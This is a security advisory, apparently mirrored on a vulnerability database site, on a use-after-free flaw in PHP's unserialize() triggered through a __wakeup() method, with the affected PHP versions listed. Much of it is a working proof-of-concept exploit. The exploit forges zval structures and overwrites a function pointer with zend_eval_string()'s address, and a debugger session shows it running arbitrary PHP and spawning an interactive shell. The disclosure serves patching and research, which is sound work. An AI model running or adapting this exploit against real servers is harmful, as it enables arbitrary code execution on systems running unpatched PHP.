`#Use After Free Vulnerability in unserialize()
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.3
- Release Date: 2015.3.20
> A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.7
Affected is PHP 5.5 < 5.5.23
Affected is PHP 5.4 < 5.4.39
Affected is PHP 5 <= 5.3.29
Affected is PHP 4 <= 4.4.9
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
```
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
zval retval;
zval fname;
if (Z_TYPE_P(rval) != IS_OBJECT) {
return 0;
}
//??? TODO: resize before
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval),
elements, 1)) {
return 0;
}
ZVAL_DEREF(rval);
if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup",
sizeof("__wakeup")-1)) {
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval, 0,
0, 1, NULL);
```
A specially defined __wakeup() magic method lead to various problems.
The simple code:
```
<?php
class evilClass {
public $var;
function __wakeup() {
unset($this->var);
// $this->var = 'ryat';
}
}
$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');
?>
```
Object properties assignment or destroy operation leads to the ZVAL
and all its children is freed from memory. However the unserialize()
code will still allow to use R: or r: to set references to that
already freed memory. There is a use after free vulnerability, and
allows to execute arbitrary code.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
```
<?php
$f = $argv[1];
$c = $argv[2];
$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";
$data1 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';
$x = unserialize($data1);
$y = $x[2];
// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";
$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\xff\xff\xff\xff";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";
$data2 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}';
$z = unserialize($data2);
intval($z[2]);
function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
class evilClass {
public $var;
function __wakeup() {
unset($this->var);
// $this->var = 'ryat';
}
}
?>
```
Test the PoC on the command line, then any PHP code can be executed:
```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
(lldb)
```
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation